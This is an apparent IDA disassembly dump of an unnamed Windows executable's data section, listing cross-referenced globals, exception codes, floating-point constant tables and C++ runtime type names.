tbyte_43D408 dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
; sub_4220AC+1Fr
align 4
tbyte_43D414 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
align 10h
off_43D420 dd offset sub_422540 ; DATA XREF: sub_41D13C+Fw
; sub_41FF3F+3AAr
off_43D424 dd offset sub_4221D5 ; DATA XREF: sub_41D13C+5w
; sub_41FF3F+3E2r
off_43D428 dd offset sub_42223B ; DATA XREF: sub_41D13C+14w
; sub_420DB0+430r
off_43D42C dd offset sub_42217B ; DATA XREF: sub_41D13C+1Ew
; sub_41FF3F+3CBr
off_43D430 dd offset sub_422223 ; DATA XREF: sub_41D13C+28w
off_43D434 dd offset sub_422540 ; DATA XREF: sub_41D13C+32w
dd offset sub_424F1C
align 10h
dd offset sub_422DFC
off_43D444 dd offset sub_422DFC ; DATA XREF: sub_422E52+29r
dword_43D448 dd 0C0000005h ; DATA XREF: sub_423638+Ar
; sub_423638+11o ...
dword_43D44C dd 0Bh ; DATA XREF: sub_425D33+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43D4C0 dd 3 ; DATA XREF: ___:0042354Fr
; sub_425C06+C8r
dword_43D4C4 dd 7 ; DATA XREF: ___:00423555r
; sub_425C06+CDr
dword_43D4C8 dd 0Ah ; DATA XREF: sub_423638+4r
; sub_425D33+4r
dword_43D4CC dd 8Ch ; DATA XREF: ___:00423579r
; ___:00423586w ...
dword_43D4D0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F8E3:loc_41F964o
; sub_41FE2A:loc_41FEE7o
dword_43D4D8 dd 2 ; DATA XREF: sub_423DD1+Eo
; sub_423DD1+28r
off_43D4DC dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
; sub_423DD1+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 427B74h, 9, 427B48h, 0Ah, 427B24h, 10h, 427AF8h
dd 11h, 427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
dd 19h, 427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
dd 78h, 427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh
dd 0FFh, 427940h
off_43D568 dd offset dword_4DC020 ; DATA XREF: sub_423DD1+1Bo
; sub_42413E+55o
align 10h
dd offset dword_4DC020
dd 101h
dword_43D578 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42413E+72o
dd 1000h, 0
dword_43D588 dd 3 dup(0) ; DATA XREF: sub_41FE2A+50o
; sub_420CE6+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5A8 dd 3 dup(0) ; DATA XREF: sub_41FE2A+58o
; sub_420CE6:loc_420D04o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5D8 dd 84h dup(0) ; DATA XREF: sub_42413E+9Bo
dword_43D7E8 dd 2 dup(0) ; DATA XREF: sub_42413E+69o
dword_43D7F0 dd 2694h ; DATA XREF: sub_421861+3r
; sub_4218B4+46r
align 8
dword_43D7F8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_424CFCo
dword_43D810 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D828 dd 2 dup(0) ; DATA XREF: sub_42600E+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43D988 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_42600E+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_43DAE4 dd offset off_427CEC ; DATA XREF: ___:00427EC4o
; ___:00427FB0o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_43DAFC dd offset off_427CEC ; DATA XREF: ___:off_427D78o
; ___:00427DB8o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43DB1C dd offset off_427CEC ; DATA XREF: ___:off_427DC0o
; ___:00427E04o ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_43DB3C dd offset off_427CEC ; DATA XREF: ___:off_427E0Co
; ___:00427E50o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_43DB60 dd offset off_427CEC ; DATA XREF: ___:off_427E58o
; ___:00427E94o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_424F1C
align 10h
dword_43DB80 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o
byte_43DB88 db 0 ; DATA XREF: sub_40111D+62o
; ___:0040146Eo ...
align 10h
dword_43DB90 dd 0 ; DATA XREF: ___:004015B0o
; sub_401ACD+AECo ...
dd 5 dup(0)
dword_43DBA8 dd 0 ; DATA XREF: sub_401ACD+B48r
; sub_415C40+60r
dd 2D9h dup(0)
dword_43E710 dd 0 ; DATA XREF: sub_401ACD+5D8Cr
; sub_401ACD+5E61r ...
dd 7Fh dup(0)
dword_43E910 dd 0 ; DATA XREF: sub_40B3BA+41w
; sub_40B4F5+40w ...
dword_43E914 dd 0 ; DATA XREF: sub_40B3BA+47w
; sub_40B4F5+46w ...
dword_43E918 dd 0 ; DATA XREF: sub_40B3BA+52w
; sub_40B4F5+3Ar ...
dword_43E91C dd 0 ; DATA XREF: sub_40111D+Cr
; sub_4017ED+B9w ...
dword_43E920 dd 0 ; DATA XREF: sub_40B4F5+75r
; sub_40B6D6+2Aw ...
dword_43E924 dd 0 ; DATA XREF: ___:004015FFw
; ___:00401677w ...
byte_43E928 db 0 ; DATA XREF: sub_4017ED+91o
; sub_401ACD+5CD7r ...
align 4
dd 1B89h dup(0)
dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043492Co
db 0
byte_45004D db 3 dup(0) ; DATA XREF: ___:004385C0o
dd 1CFCh dup(0)
db 0
byte_457441 db 3 dup(0) ; DATA XREF: ___:off_43902Co
dword_457444 dd 0E306h dup(0)
dword_49005C dd 937Eh dup(0) ; DATA XREF: ___:off_432948o
db 0
byte_4B4E55 db 3 dup(0) ; DATA XREF: ___:off_43165Co
dd 0FBh dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438E98o
dd 5932h dup(0)
dword_4CB710 dd 0 ; DATA XREF: sub_40111D+FDw
; sub_40B3BA+13o ...
dword_4CB714 dd 0 ; DATA XREF: ___:0040125Ew
; sub_401ACD:loc_404494r ...
dword_4CB718 dd 0 ; DATA XREF: ___:loc_4016FFo
dword_4CB71C dd 20h dup(0) ; DATA XREF: ___:004016B6o
; ___:00401750o ...
dword_4CB79C dd 10h dup(0) ; DATA XREF: ___:004016CCo
dword_4CB7DC dd 24h dup(0) ; DATA XREF: ___:004016E3o
dword_4CB86C dd 0 ; DATA XREF: ___:004016D7w
; ___:00401767w ...
dword_4CB870 dd 0 ; DATA XREF: ___:004016F6w
align 10h
byte_4CB880 db 0 ; DATA XREF: sub_401955+28r
; sub_401955+30o
align 4
dword_4CB884 dd 0 ; DATA XREF: ___:00401704w
; ___:0040171Br ...
dword_4CB888 dd 0 ; DATA XREF: ___:004016BBw
; sub_401ACD+8A2r
word_4CB88C dw 0 ; DATA XREF: sub_401ACD+7BAFo
; ___:0040AFA9o ...
align 10h
dword_4CB890 dd 0 ; DATA XREF: sub_409909+4A7w
; sub_409909+4EBr
dword_4CB894 dd 0 ; DATA XREF: sub_409909+65w
; sub_419C09+166r
dword_4CB898 dd 0 ; DATA XREF: sub_409909+80Bw
; sub_409909+880r ...
dword_4CB89C dd 0 ; DATA XREF: sub_409909+9D8w
; sub_409909+A43r ...
dword_4CB8A0 dd 0 ; DATA XREF: sub_409909+98Aw
; sub_409909+A13r ...
dword_4CB8A4 dd 0 ; DATA XREF: sub_409909+48Dw
; sub_409909+4DBr
dword_4CB8A8 dd 0 ; DATA XREF: sub_409909+213w
; sub_409909+234r
dword_4CB8AC dd 0 ; DATA XREF: sub_409909+9CBw
; sub_409909+A3Br ...
dword_4CB8B0 dd 0 ; DATA XREF: sub_409909+372w
; sub_409909+3C7r ...
dword_4CB8B4 dd 0 ; DATA XREF: sub_409909+40Fw
; sub_41AF8F+11Er
dword_4CB8B8 dd 0 ; DATA XREF: sub_409909+37Fw
; sub_409909+3CFr ...
dword_4CB8BC dd 0 ; DATA XREF: sub_409909+3C0w
; sub_4191DB+ADr
dword_4CB8C0 dd 0 ; DATA XREF: sub_409909+55Aw
; sub_40FAD6+115r ...
dword_4CB8C4 dd 0 ; DATA XREF: sub_409909+72w
; sub_409909+D2r ...
dword_4CB8C8 dd 0 ; DATA XREF: sub_409909+97Dw
; sub_409909+A06r ...
dword_4CB8CC dd 0 ; DATA XREF: sub_409909+3A6w
; sub_409909+3E7r ...
dword_4CB8D0 dd 0 ; DATA XREF: sub_409909+859w
; sub_409909+8ACr ...
dword_4CB8D4 dd 0 ; DATA XREF: sub_409909+2A5w
; sub_409909+2F0r
dword_4CB8D8 dd 0 ; DATA XREF: sub_409909+84Cw
; sub_409909+8A4r ...
dword_4CB8DC dd 0 ; DATA XREF: sub_409909+B3w
dword_4CB8E0 dd 0 ; DATA XREF: sub_409909+866w
; sub_409909+8B4r ...
dword_4CB8E4 dd 0 ; DATA XREF: sub_409909+54Dw
; sub_409909+6D0r ...
dword_4CB8E8 dd 0 ; DATA XREF: sub_409909+58w
; sub_409909+CAr ...
dword_4CB8EC dd 0 ; DATA XREF: sub_409909+934w
dword_4CB8F0 dd 0 ; DATA XREF: sub_401ACD:loc_403ECBr
; sub_409909+A95w ...
dword_4CB8F4 dd 0 ; DATA XREF: sub_409909+A6w
; sub_409909+F2r
dword_4CB8F8 dd 0 ; DATA XREF: sub_409909+480w
; sub_409909+4D3r
dword_4CB8FC dd 0 ; DATA XREF: sub_409909+5F6w
; sub_40C267+20r
dword_4CB900 dd 0 ; DATA XREF: sub_409909+9BEw
; sub_409909+A33r
dword_4CB904 dd 0 ; DATA XREF: sub_409909+5E9w
; sub_409909+754r ...
dword_4CB908 dd 0 ; DATA XREF: sub_409909+A0Cw
dword_4CB90C dd 0 ; DATA XREF: sub_409909+B50w
; sub_40DC41+9Ar
dword_4CB910 dd 0 ; DATA XREF: sub_409909+7FEw
; sub_409909+86Dr ...
dword_4CB914 dd 0 ; DATA XREF: sub_409909+1B3w
; sub_40B5B5+3Do ...
dword_4CB918 dd 0 ; DATA XREF: sub_409909+997w
; sub_409909+A1Br ...
dword_4CB91C dd 0 ; DATA XREF: sub_409909+38Cw
; sub_409909+3D7r ...
dword_4CB920 dd 0 ; DATA XREF: sub_409909+399w
; sub_409909+3DFr ...
dword_4CB924 dd 0 ; DATA XREF: sub_409909+C85w
; sub_409909+C8Cr
dword_4CB928 dd 0 ; DATA XREF: sub_409909+6ACw
; ___:00411290r
dword_4CB92C dd 0 ; DATA XREF: sub_40111D+1Dr
; sub_40111D+23r ...
dword_4CB930 dd 0 ; DATA XREF: sub_409909+4B4w
dword_4CB934 dd 0 ; DATA XREF: sub_409909+9E5w
; sub_409909+A4Br ...
dword_4CB938 dd 0 ; DATA XREF: sub_401000+51r
; sub_409909+2B2w ...
dword_4CB93C dd 0 ; DATA XREF: sub_409909+7Fw
; sub_409909+DAr ...
dword_4CB940 dd 0 ; DATA XREF: sub_401ACD+5840r
; sub_401ACD+781Er ...
dword_4CB944 dd 0 ; DATA XREF: ___:004012ADr
; sub_401ACD+5037r ...
dword_4CB948 dd 0 ; DATA XREF: sub_409909+825w
; sub_409909+890r ...
dword_4CB94C dd 0 ; DATA XREF: sub_409909+9A4w
; sub_409909+A23r
dword_4CB950 dd 0 ; DATA XREF: sub_409909+C0Ew
; sub_409909+C3Fr
dword_4CB954 dd 0 ; DATA XREF: sub_409909+2CCw
; sub_418A2E+47r
dword_4CB958 dd 0 ; DATA XREF: sub_409909+22Dw
dword_4CB95C dd 0 ; DATA XREF: sub_409909+91Aw
; sub_409909+92Er
dword_4CB960 dd 0 ; DATA XREF: sub_409909+C28w
dword_4CB964 dd 0 ; DATA XREF: sub_409909+2D9w
; sub_418A2E+4Fr
dword_4CB968 dd 0 ; DATA XREF: sub_409909+574w
; sub_409909+6E8r ...
dword_4CB96C dd 0 ; DATA XREF: sub_409909+83Fw
; sub_409909+873r
dword_4CB970 dd 0 ; DATA XREF: sub_409909+220w
; sub_409909+23Cr
dword_4CB974 dd 0 ; DATA XREF: sub_409909+172w
; sub_409909+1C2r
dword_4CB978 dd 0 ; DATA XREF: sub_401ACD+1DCEr
; sub_401ACD+59F9r ...
dword_4CB97C dd 0 ; DATA XREF: sub_4017ED+C4r
; sub_401ACD+50C1r ...
dword_4CB980 dd 0 ; DATA XREF: sub_409909+567w
; sub_409909+6DCr ...
dword_4CB984 dd 0 ; DATA XREF: sub_409909+8DBw
; sub_409909:loc_40A202w ...
dword_4CB988 dd 0 ; DATA XREF: sub_401000+26r
; sub_409909+28Bw ...
dword_4CB98C dd 0 ; DATA XREF: sub_401ACD+77AFr
; sub_409909+69Fw ...
dword_4CB990 dd 0 ; DATA XREF: sub_409909+32Dw
; sub_409909+341r ...
dword_4CB994 dd 0 ; DATA XREF: sub_409909+3B3w
; sub_409909+3EFr ...
dword_4CB998 dd 0 ; DATA XREF: sub_409909+C01w
; sub_409909+C37r
dword_4CB99C dd 0 ; DATA XREF: sub_409909+818w
; sub_409909+888r ...
dword_4CB9A0 dd 0 ; DATA XREF: sub_409909+206w
; sub_409909+227r
dword_4CB9A4 dd 0 ; DATA XREF: sub_409909+18Cw
; sub_409909+1D2r ...
dword_4CB9A8 dd 0 ; DATA XREF: sub_409909+832w
; sub_409909+898r ...
dword_4CB9AC dd 0 ; DATA XREF: sub_409909+624w
; sub_409909+774r
dword_4CB9B0 dd 0 ; DATA XREF: sub_401000+5Ar
; sub_409909+2BFw ...
dword_4CB9B4 dd 0 ; DATA XREF: sub_409909+66Bw
; sub_409909+79Cr ...
dword_4CB9B8 dd 0 ; DATA XREF: sub_409909+320w
; sub_409909+334r ...
dword_4CB9BC dd 0 ; DATA XREF: sub_409909+644w
; sub_409909+784r ...
dword_4CB9C0 dd 0 ; DATA XREF: sub_409909+44Cw
; sub_409909+4AEr
dword_4CB9C4 dd 0 ; DATA XREF: sub_409909+199w
; sub_409909+1DAr ...
dword_4CB9C8 dd 0 ; DATA XREF: sub_409909+365w
; sub_409909+3BAr ...
dword_4CB9CC dd 0 ; DATA XREF: sub_409909+AA2w
dword_4CB9D0 dd 0 ; DATA XREF: sub_409909+5DCw
; sub_409909+748r ...
dword_4CB9D4 dd 0 ; DATA XREF: sub_4017ED+3Er
; sub_401ACD+5073r ...
dword_4CB9D8 dd 0 ; DATA XREF: sub_409909+4Bw
; sub_409909+C2r ...
dword_4CB9DC dd 0 ; DATA XREF: sub_409909+473w
; sub_409909+4CBr
dword_4CB9E0 dd 0 ; DATA XREF: sub_409909+165w
; sub_409909+1BAr ...
dword_4CB9E4 dd 0 ; DATA XREF: sub_409909+9FFw
; sub_409909+A5Br ...
dword_4CB9E8 dd 0 ; DATA XREF: sub_409909+685w
; sub_409909+7ACr ...
dword_4CB9EC dd 0 ; DATA XREF: sub_401955+D1r
; sub_401ACD+50D6r ...
dword_4CB9F0 dd 0 ; DATA XREF: sub_409909+C1Bw
; sub_409909+C47r
dword_4CB9F4 dd 0 ; DATA XREF: sub_409909+3Ew
; sub_409909+BAr ...
dword_4CB9F8 dd 0 ; DATA XREF: sub_401000+45r
; sub_409909+298w ...
dword_4CB9FC dd 0 ; DATA XREF: sub_409909+651w
; sub_409909+78Cr ...
dword_4CBA00 dd 0 ; DATA XREF: sub_409909+637w
; sub_409909+77Cr ...
dword_4CBA04 dd 0 ; DATA XREF: sub_409909+C92w
dword_4CBA08 dd 0 ; DATA XREF: sub_409909+879w
; ___:00416C7Cr ...
dword_4CBA0C dd 0 ; DATA XREF: sub_409909+112w
dword_4CBA10 dd 0 ; DATA XREF: sub_409909+BE7w
; sub_409909+C22r
dword_4CBA14 dd 0 ; DATA XREF: sub_401ACD+2F9Br
; sub_401ACD+5EB8r ...
dword_4CBA18 dd 0 ; DATA XREF: sub_409909+459w
; sub_409909+4BBr
dword_4CBA1C dd 0 ; DATA XREF: sub_409909+49Aw
; sub_409909+4E3r
dword_4CBA20 dd 0 ; DATA XREF: sub_409909+466w
; sub_409909+4C3r
dword_4CBA24 dd 0 ; DATA XREF: sub_401955+89r
; sub_401ACD+50F3r ...
dword_4CBA28 dd 0 ; DATA XREF: sub_409909+1A6w
; sub_409909+1E2r ...
dword_4CBA2C dd 0 ; DATA XREF: sub_409909+9F2w
; sub_409909+A53r ...
dword_4CBA30 dd 0 ; DATA XREF: sub_409909+158w
; sub_409909+1ADr ...
dword_4CBA34 dd 0 ; DATA XREF: sub_409909+8Cw
; sub_409909+E2r ...
dword_4CBA38 dd 0 ; DATA XREF: sub_409909+610w
; sub_409909+764r ...
dword_4CBA3C dd 0 ; DATA XREF: sub_409909+B43w
; sub_409909+B5Fr
dword_4CBA40 dd 0 ; DATA XREF: sub_409909+33Aw
; sub_419B9E+55r
dword_4CBA44 dd 0 ; DATA XREF: sub_409909+27Ew
; sub_409909+2D3r ...
dword_4CBA48 dd 0 ; DATA XREF: sub_409909+BAAw
dword_4CBA4C dd 0 ; DATA XREF: sub_409909+AECw
; sub_40A928+CEr
dword_4CBA50 dd 0 ; DATA XREF: sub_409909+ADFw
; sub_409909+AE6r ...
dword_4CBA54 dd 0 ; DATA XREF: sub_4017ED+A6r
; sub_401ACD+5052r ...
dword_4CBA58 dd 0 ; DATA XREF: sub_401ACD+5044r
; sub_401ACD+77D6r ...
dword_4CBA5C dd 0 ; DATA XREF: sub_409909+BF4w
; sub_409909+C2Fr
dword_4CBA60 dd 0 ; DATA XREF: sub_401ACD+1DF4r
; sub_401ACD+5A1Fr ...
dword_4CBA64 dd 0 ; DATA XREF: sub_409909+9B1w
; sub_409909+A2Br ...
dword_4CBA68 dd 0 ; DATA XREF: sub_409909+65Ew
; sub_409909+794r ...
dword_4CBA6C dd 0 ; DATA XREF: sub_40111D+12r
; sub_4017ED+D0r ...
dword_4CBA70 dd 0 ; DATA XREF: sub_409909+59Bw
; sub_409909+70Cr ...
dword_4CBA74 dd 0 ; DATA XREF: sub_409909+B36w
; sub_409909+B57r ...
dword_4CBA78 dd 0 ; DATA XREF: sub_409909+540w
; sub_409909+6C4r ...
dword_4CBA7C dd 0 ; DATA XREF: sub_409909+B29w
; sub_409909+B4Ar
dword_4CBA80 dd 0 ; DATA XREF: ___:00401273r
; sub_409909+31w ...
dword_4CBA84 dd 0 ; DATA XREF: sub_409909+17Fw
; sub_409909+1CAr
dd 0
dword_4CBA8C dd 0 ; DATA XREF: sub_409909+927w
; sub_409909+93Br
dword_4CBA90 dd 0 ; DATA XREF: sub_409909+99w
; sub_409909+EAr ...
dword_4CBA94 dd 0 ; DATA XREF: sub_409909:loc_409A07w
; sub_409909+12Bw ...
dword_4CBA98 dd 0 ; DATA XREF: sub_409909+126w
; sub_40A5C5+1Cr
dword_4CBA9C dd 0 ; DATA XREF: sub_409909:loc_409AF7w
; sub_409909:loc_409B5Ew ...
dword_4CBAA0 dd 0 ; DATA XREF: sub_409909+250w
; sub_40A5C5+50r
dword_4CBAA4 dd 0 ; DATA XREF: ___:0040156Ar
; sub_401ACD+4468r ...
dword_4CBAA8 dd 0 ; DATA XREF: sub_409909+41Ew
; sub_40A5C5+84r
dword_4CBAAC dd 0 ; DATA XREF: sub_409909:loc_409E0Dw
; sub_40A5C5:loc_40A675r
dword_4CBAB0 dd 0 ; DATA XREF: sub_409909+4FFw
; sub_40A5C5+B8r
dword_4CBAB4 dd 0 ; DATA XREF: sub_409909:loc_40A0DEw
; sub_40A5C5:loc_40A6A9r
dword_4CBAB8 dd 0 ; DATA XREF: sub_409909+7D0w
; sub_40A5C5+ECr
dword_4CBABC dd 0 ; DATA XREF: sub_409909:loc_40A1C9w
; sub_409909+8EFw ...
dword_4CBAC0 dd 0 ; DATA XREF: sub_409909+8EAw
; sub_40A5C5+120r
dword_4CBAC4 dd 0 ; DATA XREF: sub_401ACD:loc_406E35r
; sub_409909:loc_40A25Dw ...
dword_4CBAC8 dd 0 ; DATA XREF: sub_409909+94Fw
; sub_40A5C5+154r
dword_4CBACC dd 0 ; DATA XREF: sub_401ACD+4470r
; sub_409909:loc_40A379w ...
dword_4CBAD0 dd 0 ; DATA XREF: sub_409909+A6Bw
; sub_40A5C5+188r
dword_4CBAD4 dd 0 ; DATA XREF: sub_409909:loc_40A3C3w
; sub_40A5C5:loc_40A779r
dword_4CBAD8 dd 0 ; DATA XREF: sub_409909+AB5w
; sub_40A5C5+1BCr
dword_4CBADC dd 0 ; DATA XREF: sub_409909:loc_40A40Dw
; sub_40A5C5:loc_40A7ADr
dword_4CBAE0 dd 0 ; DATA XREF: sub_409909+AFFw
; sub_40A5C5+1F0r
dword_4CBAE4 dd 0 ; DATA XREF: sub_409909:loc_40A481w
; sub_40A5C5:loc_40A7E1r
dword_4CBAE8 dd 0 ; DATA XREF: sub_409909+B73w
; sub_40A5C5+224r
dword_4CBAEC dd 0 ; DATA XREF: sub_409909:loc_40A4CBw
; sub_40A5C5:loc_40A815r
dword_4CBAF0 dd 0 ; DATA XREF: sub_409909+BBDw
; sub_40A5C5+258r
dword_4CBAF4 dd 0 ; DATA XREF: sub_409909:loc_40A569w
; sub_40A5C5:loc_40A849r
dword_4CBAF8 dd 0 ; DATA XREF: sub_409909+C5Bw
; sub_40A5C5+28Cr
dword_4CBAFC dd 0 ; DATA XREF: sub_409909:loc_40A5B3w
; sub_40A5C5:loc_40A87Dr
dword_4CBB00 dd 0 ; DATA XREF: sub_409909+CA5w
; sub_40A5C5+2C0r
dword_4CBB04 dd 5 dup(0) ; DATA XREF: sub_40AA06+32o
byte_4CBB18 db 0 ; DATA XREF: sub_40B2B3+6Ar
; sub_40B2B3+98w
align 10h
dword_4CBB20 dd 0 ; DATA XREF: sub_40BD1A+18r
; sub_40C2AF+92w ...
dword_4CBB24 dd 0 ; DATA XREF: sub_40C3E8+4Dr
; sub_40C3E8+2F1w ...
dword_4CBB28 dd 7FEh dup(0)
dword_4CDB20 dd 6 dup(0) ; DATA XREF: sub_40C3E8+D2o
; sub_40C3E8+13Bo ...
dword_4CDB38 dd 0 ; DATA XREF: sub_40BD91+2C4w
; sub_40BD91+348o
dword_4CDB3C dd 0 ; DATA XREF: sub_40BD91+33Ew
; sub_40BD91+35Ar
dword_4CDB40 dd 0 ; DATA XREF: sub_40BD91+2CFw
dword_4CDB44 dd 0 ; DATA XREF: sub_40BD91+2B9w
; sub_40BD91:loc_40C0A6r
dword_4CDB48 dd 20h dup(0) ; DATA XREF: sub_40BD91+2E2o
; sub_40BD91+302o
dword_4CDBC8 dd 0 ; DATA XREF: sub_40BD91+2D5w
dword_4CDBCC dd 0 ; DATA XREF: sub_40BD91+2EFw
; sub_40BD91+30Fw
dword_4CDBD0 dd 0 ; DATA XREF: sub_40BD91:loc_40C101r
align 8
dword_4CDBD8 dd 0 ; DATA XREF: sub_40BD91+82w
; sub_40BD91+101o
dword_4CDBDC dd 41h dup(0) ; DATA XREF: sub_40BD91+41o
dword_4CDCE0 dd 41h dup(0) ; DATA XREF: sub_40BD91+69o
dword_4CDDE4 dd 0 ; DATA XREF: sub_40BD91+F7w
; sub_40BD91+113r
dword_4CDDE8 dd 0 ; DATA XREF: sub_40BD91+52w
dword_4CDDEC dd 0 ; DATA XREF: sub_40BD91+4Dw
; sub_40BD91+D4r
dword_4CDDF0 dd 20h dup(0) ; DATA XREF: sub_40BD91+9Ao
; sub_40BD91+BAo
dword_4CDE70 dd 0 ; DATA XREF: sub_40BD91+8Fw
dword_4CDE74 dd 0 ; DATA XREF: sub_40BD91+A7w
; sub_40BD91+C7w
dword_4CDE78 dd 0 ; DATA XREF: sub_40BD91:loc_40BEBAr
align 10h
dword_4CDE80 dd 0 ; DATA XREF: sub_40BD91+1A5w
; sub_40BD91+225o
dword_4CDE84 dd 41h dup(0) ; DATA XREF: sub_40BD91+167o
dword_4CDF88 dd 41h dup(0) ; DATA XREF: sub_40BD91+18Co
dword_4CE08C dd 0 ; DATA XREF: sub_40BD91+21Bw
; sub_40BD91+237r
dword_4CE090 dd 0 ; DATA XREF: sub_40BD91+17Aw
dword_4CE094 dd 0 ; DATA XREF: sub_40BD91+175w
; sub_40BD91+1F8r
dword_4CE098 dd 20h dup(0) ; DATA XREF: sub_40BD91+1BEo
; sub_40BD91+1DEo
dword_4CE118 dd 0 ; DATA XREF: sub_40BD91+1B1w
dword_4CE11C dd 0 ; DATA XREF: sub_40BD91+1CBw
; sub_40BD91+1EBw
dword_4CE120 dd 0 ; DATA XREF: sub_40BD91:loc_40BFDEr
align 8
dword_4CE128 dd 0 ; DATA XREF: sub_40BD91+417w
; sub_40BD91+470o
dword_4CE12C dd 0A2h dup(0) ; DATA XREF: sub_40BD91+405o
dword_4CE3B4 dd 41h dup(0) ; DATA XREF: sub_40BD91+3CFo
dword_4CE4B8 dd 0 ; DATA XREF: sub_40BD91+3FCw
; sub_40BD91+423r
align 10h
dword_4CE4C0 dd 0 ; DATA XREF: sub_40BD91+466w
; sub_40BD91+482r
dword_4CE4C4 dd 0 ; DATA XREF: sub_40BD91+429w
dword_4CE4C8 dd 0 ; DATA XREF: sub_40BD91+436w
dword_4CE4CC dd 0 ; DATA XREF: sub_40BD91+3F6w
dd 0
dword_4CE4D4 dd 0 ; DATA XREF: sub_40BD91:loc_40C229r
dd 0
dword_4CE4DC dd 0 ; DATA XREF: sub_40B9DD+Er
; sub_40B9DD+32r
dword_4CE4E0 dd 0 ; DATA XREF: sub_40B9DD+9r
; sub_40B9DD+26r
dword_4CE4E4 dd 82h dup(0) ; DATA XREF: sub_40C85F+8Do
dword_4CE6EC dd 2 dup(0) ; DATA XREF: sub_40D1C8+68o
dword_4CE6F4 dd 0 ; DATA XREF: sub_40DB5E+9Eo
dword_4CE6F8 dd 0 ; DATA XREF: ___:0040EEF0r
dd 0
dd 0
dword_4CE704 dd 0 ; DATA XREF: ___:0040EEC3r
dword_4CE708 dd 0 ; DATA XREF: ___:0040EEA5r
; ___:0040EF0Er
align 10h
dword_4CE710 dd 0 ; DATA XREF: sub_40BD91+2AEr
align 8
dword_4CE718 dd 0 ; DATA XREF: sub_40BA49+1Cr
dword_4CE71C dd 0 ; DATA XREF: ___:0040F9E9w
